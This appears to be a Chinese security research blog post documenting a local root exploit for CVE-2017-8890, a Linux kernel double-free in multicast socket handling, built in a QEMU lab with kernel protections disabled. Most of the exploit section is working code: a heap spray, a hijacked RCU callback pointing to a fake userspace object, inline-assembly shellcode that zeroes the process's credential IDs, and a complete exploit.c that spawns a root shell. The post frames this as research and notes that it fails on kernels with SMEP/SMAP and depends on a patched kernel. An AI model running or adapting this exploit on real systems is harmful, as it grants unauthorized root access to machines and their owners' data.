Author: thor@MS509Team

最近一段时间在研究linux kernel的漏洞利用,我们以CVE-2017-8890为例探索了linux kernel的提权过程,以此记录并分享。

0x00 测试环境

1. linux kernel 版本:4.10.6  x86_64
2. 调试环境:qemu + linux kernel + busybox + gdb
3. kernel 防护机制: no smep, no smap,no KASLR
4. 主机:Ubuntu 16.04

测试环境我们使用qemu运行linux kernel + busybox的最小化系统,并在Ubuntu主机上通过gdb远程调试linux kernel,十分便捷。同时,我们为了方便,关闭了内核的SMEP/SMAP、KASLR防护机制。

qemu:

gdb:

0x01 漏洞原理

CVE-2017-8890是启明星辰ADLab去年披露的linux kernel double free漏洞,取名Phoenix Talon,可影响几乎所有Linux kernel 2.5.69 ~ Linux kernel 4.11的内核版本、对应的发行版本以及相关国产系统。我们简单介绍下该漏洞的原理。

我们在socket编程中服务端创建socket时会在内核创建一个inet_sock结构体, 暂时称其为sock1:

struct inet_sock {
    /* sk and pinet6 has to be the first two members of inet_sock */
    struct sock     sk;

    ........

    __be32          inet_saddr;
    __s16           uc_ttl;
    __u16           cmsg_flags;
    __be16          inet_sport;
    __u16           inet_id;

    ..........
    __be32          mc_addr;
    struct ip_mc_socklist __rcu *mc_list;
    struct inet_cork_full   cork;
};

当服务端调用accept函数接收外来连接的时候会创建一个新的inet_sock结构体, 称为sock2。sock2对象会从sock1对象复制一份ip_mc_socklist指针,其结构体如下:

struct ip_mc_socklist {
    struct ip_mc_socklist __rcu *next_rcu;
    struct ip_mreqn     multi;
    unsigned int        sfmode;     /* MCAST_{INCLUDE,EXCLUDE} */
    struct ip_sf_socklist __rcu *sflist;
    struct rcu_head     rcu;
};

此时在内核中存在两个不同inet_sock对象,但它们的mc_list指针却指向同一个ip_mc_socklist对象。此后,当服务端close socket的时候,内核会free对应的inet_sock对象sock1,并同时释放mc_list指针指向的那个ip_mc_socklist对象。但是服务端在关闭accept创建的inet_sock对象sock2时,会再次释放同一个mc_list对象,造成double free漏洞。

该漏洞的原理比较简单,就是在复制对象的时候将指针也一同复制了一份,造成两个指针指向同一对象。因此,漏洞修复也比较简单,直接在复制对象的时候将mc_list指针置为NULL即可。

0x02 PoC

我们直接在github上找到了一个可以运行的PoC
编译如下:

gcc  -static cve.cpp  -o PoC -lpthread

运行后内核直接崩溃:

我们在崩溃界面可以看到漏洞的触发路径。
PoC的大致流程如下:

sockfd = socket(AF_INET, xx, IPPROTO_TCP);
    setsockopt(sockfd, SOL_IP, MCAST_JOIN_GROUP, xxxx, xxxx);
    bind(sockfd, xxxx, xxxx);
    listen(sockfd, xxxx);
    newsockfd = accept(sockfd, xxxx, xxxx);
    close(newsockfd)    // first free (kfree_rcu)
    sleep(5)            // wait rcu free(real free)
    close(sockfd)       // double free

我们首先创建一个服务端socket,并通过setsockopt设置MCAST_JOIN_GROUP选项,主要是让内核创建ip_mc_socklist对象。然后我们通过accept创建另外一个socket,使得newsockfd在内核中的mc_list指针指向同一个ip_mc_socklist对象。最后我们通过关闭sockfd和newsockfd去触发内核释放mc_list指向的同一对象,导致double free。

0x03 exploit

我们在网上暂时还没有搜到可用的exploit,只有一些文章[1][2]讲解漏洞利用的思路。double free类型漏洞的一般利用思路是在第一次free后通过伪造数据去堆喷占位,控制第二次free时的数据,从而劫持内核的执行流程。
我们再看看double free的对象ip_mc_socklist

struct ip_mc_socklist {
    struct ip_mc_socklist __rcu *next_rcu;
    struct ip_mreqn     multi;
    unsigned int        sfmode;     /* MCAST_{INCLUDE,EXCLUDE} */
    struct ip_sf_socklist __rcu *sflist;
    struct rcu_head     rcu;
};
struct callback_head {
    struct callback_head *next;
    void (*func)(struct callback_head *head);
} 
#define rcu_head callback_head

我们可以看到ip_mc_socklist对象中包含一个rcu_head对象,而该对象正好包含一个函数指针。ip_mc_socklist对象的释放涉及的linux的RCU机制,比较复杂,我们暂时只需要知道ip_mc_socklist对象真正释放的处理函数是__rcu_reclaim

static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head)
{
    unsigned long offset = (unsigned long)head->func;

    rcu_lock_acquire(&rcu_callback_map);
    if (__is_kfree_rcu_offset(offset)) {
        RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset));
        kfree((void *)head - offset);
        rcu_lock_release(&rcu_callback_map);
        return true;
    } else {
        RCU_TRACE(trace_rcu_invoke_callback(rn, head));
        head->func(head);
        rcu_lock_release(&rcu_callback_map);
        return false;
    }
}

刚好在__rcu_reclaim函数中存在一个分支去执行rcu_head对象中的函数指针:

head->func(head)

因此,我们只需要劫持rcu_head对象即可劫持内核的执行。接下来,我们通过gdb调试一步步来实现我们的exploit。

1)内核堆喷

为了能够劫持ip_mc_socklist内核对象,我们必须要能够在第一次free后通过堆喷占位,用我们伪造的数据填充已经free掉的ip_mc_socklist内核对象。ip_mc_socklist对象在x86_64系统中大小为48字节,内核会通过kmalloc分配64字节的堆块,因此我们需要找到在内核中稳定分配64字节大小,并且能够控制分配内容的方法。我们试了sendmmsg方法,但是并未成功。通过内核堆喷ipv6_mc_socklist结构体倒是成功了,但是通过gdb查看分配的对象大小却是72字节。我们直接通过源码计算ipv6_mc_socklist结构体的大小只有64字节,多出来的8个字节怎么出来的呢?

struct ipv6_mc_socklist {
    struct in6_addr     addr;
    int         ifindex;
    struct ipv6_mc_socklist __rcu *next;
    rwlock_t        sflock;
    unsigned int        sfmode;     /* MCAST_{INCLUDE,EXCLUDE} */
    struct ip6_sf_socklist  *sflist;
    struct rcu_head     rcu;
};

最后通过gdb调试我们才知道是因为内存对齐的原因。ipv6_mc_socklist结构体中既有8字节的成员变量,也有4字节的成员变量,因此ipv6_mc_socklist对齐到8字节,导致ipv6_mc_socklist对象的内存大小多出来8个字节。我们想到一个简单的方法,就是patch kernel, 修改ipv6_mc_socklist结构体定义,将两个4字节成员变量放在一起:

struct ipv6_mc_socklist {
    struct in6_addr     addr;
    int         ifindex;
    unsigned int        sfmode;     /* MCAST_{INCLUDE,EXCLUDE} */
    struct ipv6_mc_socklist __rcu *next;
    rwlock_t        sflock;
    struct ip6_sf_socklist  *sflist;
    struct rcu_head     rcu;
};

修改后重新编译内核运行,成功实现了内核64字节堆喷。我们可以通过gdb查看堆喷结果。
第一次free时ip_mc_socklist内核对象:

堆喷成功后第二次free:

通过对比我们可以看到,两次free的对象地址都是0xffff8800065ca0c0,说明是同一对象。同时,第二次free之前,我们成功通过堆喷,将之前free的对象填充为可控内容。堆喷的代码如下:

#define SPRAY_SIZE 5000
int sockfd[SPRAY_SIZE];

void spray_init() {

    for(int i=0; i<SPRAY_SIZE; i++) {

        if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {      
           perror("Socket");
           exit(errno);
        }
    }
}

void heap_spray() {
    struct sockaddr_in6 my_addr, their_addr; 
    unsigned int myport = 8000;

    bzero(&my_addr, sizeof(my_addr));
    my_addr.sin6_family = AF_INET6; 
    my_addr.sin6_port = htons(myport); 
    my_addr.sin6_addr = in6addr_any;  

    int opt =1;
    struct  group_req group1 = {0};

    struct sockaddr_in6 *psin1;

    psin1 = (struct sockaddr_in6 *)&group1.gr_group;
    psin1->sin6_family = AF_INET6;

    psin1->sin6_port = 1234;

    inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));

    for(int j=0; j<SPRAY_SIZE; j++) {
        setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
    }
}

我们将堆喷对象ipv6_mc_socklist的adrr设置为"ff02:abcd:0:0:0:0:0:1",即可将堆喷对象的前8个字节设置为0x00000000cdab02ff,而这8个字节正好是double free对象ip_mc_socklistnext_rcu成员。因此,我们通过堆喷ipv6_mc_socklist对象来劫持ip_mc_socklist对象的释放。

2)劫持EIP

当我们成功进行了堆喷劫持后,需要通过某种方式来获得在内核中执行代码的能力,即劫持EIP。前面我们提到ip_mc_socklist对象中包含一个函数指针,我们是不是可以直接劫持该函数指针来劫持EIP呢?经过测试后发现这是不行的。我们通过gdb调试后发现即使我们通过堆喷劫持了ip_mc_socklist对象中的函数指针,但是实际在__rcu_reclaim函数中执行时,该函数指针已经被修改了,变成了其他值。我们在分析源码发现,原来kfree_rcu函数会修改ip_mc_socklist对象中的函数指针,导致我们的堆喷失效。kfree_rcu的调用链:

kfree_rcu->__kfree_rcu->kfree_call_rcu->__call_rcu

我们发现在函数的参数转换的时候,rcu_head中的函数指针会被修改为偏移量:


因此我们不能直接通过劫持函数指针来劫持EIP。我们知道linux的RCU机制使得kfree_rcu函数调用后,并不是马上去执行__rcu_reclaim函数进行真正的释放动作,而是会让CPU过一段时间再执行。如果我们在__rcu_reclaim函数执行前再次修改ip_mc_socklist对象中的函数指针即可劫持EIP。但是我们并不能访问到堆喷的内核对象,我们该怎么修改呢?如果是在用户空间就好了!我们之前提到,ip_mc_socklist对象的前8个字节是next_rcu指针变量,该指针指向rcu链表中的下一个ip_mc_socklist对象。我们可以通过劫持next_rcu指针,使其指向我们在用户空间伪造的ip_mc_socklist对象,然后再通过伪造用户空间对象的函数指针来劫持EIP,布局如下所示:

当我们将ip_mc_socklist对象劫持到用户空间后,我们就可以通过多线程去修改伪造对象的函数指针,从而劫持到EIP。

2)shellcode

由于没有SMEP、SMAP,我们劫持到EIP后可以直接跳转到我们在用户空间的shellcode中执行提权代码。常见的提权代码是执行如下函数:

commit_creds(prepare_kernel_cred(0))

prepare_kernel_credcommit_creds是内核导出的符号,可以通过/proc/kallsyms查找相应内核地址。但是执行这两个函数能提权成功有一个前提条件,就是内核必须处于exp进程的上下文,即内核通过current宏获取到的进程描述符task_struct必须是exp进程的,否则exp进程不能提权成功。我们在测试中发现,虽然通过劫持EIP成功执行了commit_creds(prepare_kernel_cred(0)),但是返回的shell并不是root权限,说明提权并未成功。通过gdb调试一看,我们劫持到EIP时内核的进程上下文是ksoftirqd进程或rcu_sched进程。我们猜测,由于RCU机制的存在,ip_mc_socklist对象的真正释放是在内核软中断处理中,因此我们劫持EIP时内核也处于软中断处理的进程上下文。所以,虽然我们能劫持EIP执行,但是却不能通过简单执行commit_creds函数执行提权,需要我们自己写shellcode。我们知道,只要我们能修改exp进程描述符中cred结构体的uid和euid为0,即可提权为root。因此在内核中执行如下代码即可:

void get_root(int pid){

      struct pid * kpid = find_get_pid(pid); 
      struct task_struct * task = pid_task(kpid,PIDTYPE_PID); 
      unsigned int * addr = (unsigned  int* )task->cred;

      addr[1] = 0;
      addr[2] = 0;
      addr[3] = 0;
      addr[4] = 0;
      addr[5] = 0;
      addr[6] = 0;
      addr[7] = 0;
      addr[8] = 0;

}

find_get_pidpid_task函数是内核导出的函数,主要用于根据pid找到对应的进程描述符。这段代码是在内核中执行的,可以在编写的内核模块中编译和运行,但是不好编译为用户空间代码,因此我们直接将其转换为汇编代码:

unsigned long*  find_get_pid = (unsigned long*)0xffffffff81077220;
unsigned long*  pid_task     = (unsigned long*)0xffffffff81077180;

int pid = getpid();

void get_root() {

        asm(
        "sub    $0x18,%rsp;"
        "mov    pid,%edi;"
        "callq  *find_get_pid;"
        "mov    %rax,-0x8(%rbp);"
        "mov    -0x8(%rbp),%rax;"
        "mov    $0x0,%esi;"
        "mov    %rax,%rdi;"
        "callq  *pid_task;"
        "mov    %rax,-0x10(%rbp);"
        "mov    -0x10(%rbp),%rax;"
        "mov    0x5f8(%rax),%rax;"
        "mov    %rax,-0x18(%rbp);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x4,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x8,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0xc,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x10,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x14,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x18,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x1c,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x20,%rax;"
        "movl   $0x0,(%rax);"
        "nop;"
        "leaveq;" 
        "retq   ;");

}

3)Demo

综上,我们的第一版exploit.c如下所示:

#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>  
#include <arpa/inet.h>  
#include <netdb.h> 
#include <string.h> 
#include <unistd.h> 
#include <netinet/in.h> 
#include <fcntl.h> 
#include <time.h> 
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#include <sys/mman.h>

#define SPRAY_SIZE 5000
#define HELLO_WORLD_SERVER_PORT    8088 

unsigned long*  find_get_pid = (unsigned long*)0xffffffff81077220;
unsigned long*  pid_task     = (unsigned long*)0xffffffff81077180;

void *client(void *arg);
void get_root();
int pid=0;

void get_root() {
    asm(
        "sub    $0x18,%rsp;"
        "mov    pid,%edi;"
        "callq  *find_get_pid;"
        "mov    %rax,-0x8(%rbp);"
        "mov    -0x8(%rbp),%rax;"
        "mov    $0x0,%esi;"
        "mov    %rax,%rdi;"
        "callq  *pid_task;"
        "mov    %rax,-0x10(%rbp);"
        "mov    -0x10(%rbp),%rax;"
        "mov    0x5f8(%rax),%rax;"
        "mov    %rax,-0x18(%rbp);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x4,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x8,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0xc,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x10,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x14,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x18,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x1c,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x20,%rax;"
        "movl   $0x0,(%rax);"
        "nop;"
        "leaveq ;" 
        "retq   ;"
        );

}

int sockfd[SPRAY_SIZE];
void spray_init() {
    for(int i=0; i<SPRAY_SIZE; i++) {

        if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {      
           perror("Socket");
           exit(errno);
         }
    }
}

void heap_spray() {
    struct sockaddr_in6 my_addr, their_addr; 
    unsigned int myport = 8000;

    bzero(&my_addr, sizeof(my_addr));
    my_addr.sin6_family = AF_INET6; 
    my_addr.sin6_port = htons(myport); 
    my_addr.sin6_addr = in6addr_any;  

    int opt =1;
    struct  group_req group1 = {0};

    struct sockaddr_in6 *psin1;

    psin1 = (struct sockaddr_in6 *)&group1.gr_group;
    psin1->sin6_family = AF_INET6;

    psin1->sin6_port = 1234;

    // cd ab 02 ff
    inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));

    for(int j=0; j<SPRAY_SIZE; j++) {
        setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
    }

}

void *func_modify(void *arg){ 
        unsigned long fix_addr = 0xcdab02ff + 8*5;
        unsigned long func = (unsigned long)&get_root;
        while(1) {
            *(unsigned long *)(fix_addr) = func;    
        }
}

void exploit(){
        struct sockaddr_in server_addr;
        bzero(&server_addr,sizeof(server_addr));
        server_addr.sin_family = AF_INET;
        server_addr.sin_addr.s_addr = htons(INADDR_ANY);
        server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);

        struct  group_req group = {0};
        struct sockaddr_in *psin;

        psin = (struct sockaddr_in *)&group.gr_group;
        psin->sin_family = AF_INET;
        psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));

        int server_socket = socket(PF_INET,SOCK_STREAM,0);
        if( server_socket < 0){
            printf("[Server]Create Socket Failed!");
            exit(1);
        }


        int opt =1;

        setsockopt(server_socket, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));

        if( bind(server_socket,(struct sockaddr*)&server_addr,sizeof(server_addr))){
            printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT); 
            exit(1);
        }   

        if ( listen(server_socket, 10) ) {
            printf("[Server]Server Listen Failed!"); 
            exit(1);
        }

        pthread_t id_client;
        pthread_create(&id_client,NULL,client,NULL);

        spray_init();

        struct sockaddr_in client_addr;
        socklen_t length = sizeof(client_addr);

        printf ("[Server]accept..... \n"); 
        int new_server_socket = accept(server_socket,(struct sockaddr*)&client_addr,&length);
        if ( new_server_socket < 0){
            close(server_socket);
            perror("[Server]Server Accept Failed!\n");
            return;
        }


        unsigned long  fix_addr = 0xcdab0000;

        unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
        if (addr == MAP_FAILED){
            perror("Failed to mmap: ");

            return;
        }

        addr = (unsigned long *)0x00000000cdab02ff;
        unsigned long func = (unsigned long)&get_root;


        addr[0] = 0x0;
        addr[1] = 0x0a0a02e0;
        addr[2] = 0x00000002;
        addr[3] = 0x0;
        addr[4] = 0x0;
        addr[5] = func;

        pthread_t id_func;
        pthread_create(&id_func,NULL,func_modify,NULL);

        printf ("[Server]close new_server_socket \n");
        close(new_server_socket);
        sleep(5);

        heap_spray();

        close(server_socket);

        printf(" current uid is : %d \n", getuid());
        printf(" current euid is : %d \n", geteuid());

        system("/bin/sh");
}

void *client(void *arg){
    struct sockaddr_in client_addr;
    bzero(&client_addr,sizeof(client_addr));
    client_addr.sin_family=AF_INET;
    client_addr.sin_addr.s_addr=htons(INADDR_ANY);
    client_addr.sin_port=htons(0);
    int client_socket=socket(AF_INET,SOCK_STREAM,0);
    if(client_socket<0){
        printf("[Client]Create socket failed!\n");
        exit(1);
    }
    if(bind(client_socket,(struct sockaddr*)&client_addr,sizeof(client_addr))){
        printf("[Client] client bind port failed!\n");
        exit(1);
    }
    struct sockaddr_in server_addr;
    bzero(&server_addr,sizeof(server_addr));
    server_addr.sin_family=AF_INET;
    if(inet_aton("127.0.0.1",&server_addr.sin_addr)==0){
        printf("[Client]Server IP Address error\n");
        exit(0);
    }
    server_addr.sin_port=htons(HELLO_WORLD_SERVER_PORT);
    socklen_t server_addr_length=sizeof(server_addr);
    if(connect(client_socket,(struct sockaddr*)&server_addr,server_addr_length)<0){
        printf("[Client]cannot connect to 127.0.0.1!\n");
        exit(1);
    }
    printf("[Client]Close client socket\n");
    close(client_socket);

    return NULL;

}

int main(int argc,char* argv[]) {   
        printf("pid : %d\n", getpid());
        pid = getpid();
        exploit();

        return 0;
}

我们编译exploit.c:

在qemu的虚拟环境中运行我们的exp:

最终,我们在qemu + linux kernel + busybox的虚拟环境中成功实现了root提权。

0x04 小结

本文记录了我们初步研究CVE-2017-8890漏洞利用的过程及初步成果,在qemu + linux kernel + busybox的最小化虚拟环境中成功实现了root提权。但是需要注意的是,我们这里的linux kernel并没有开启SMEP/SMAP,exp使用了ret2usr的方法去执行shellcode提权。如果开启SMEP/SMAP,内核将不能直接访问我们用户空间的数据或直接执行用户空间的shellcode,我们的这个exp也就不再有效。同时,我们这个exp的堆喷使用了patch kernel的方法,在实际环境中肯定不再适用。我们将在下一篇文章中探讨内核堆喷的其他方法,以及在内核开启SMEP的情况下的绕过方法。欢迎大家一起探讨学习!

参考文献:

[1] http://www.freebuf.com/articles/terminal/160041.html

[2] https://bbs.pediy.com/thread-226057.htm

[3] https://mp.weixin.qq.com/s/6NGH-Dk2n_BkdlJ2jSMWJQ

点击收藏 | 1 关注 | 1
登录 后跟帖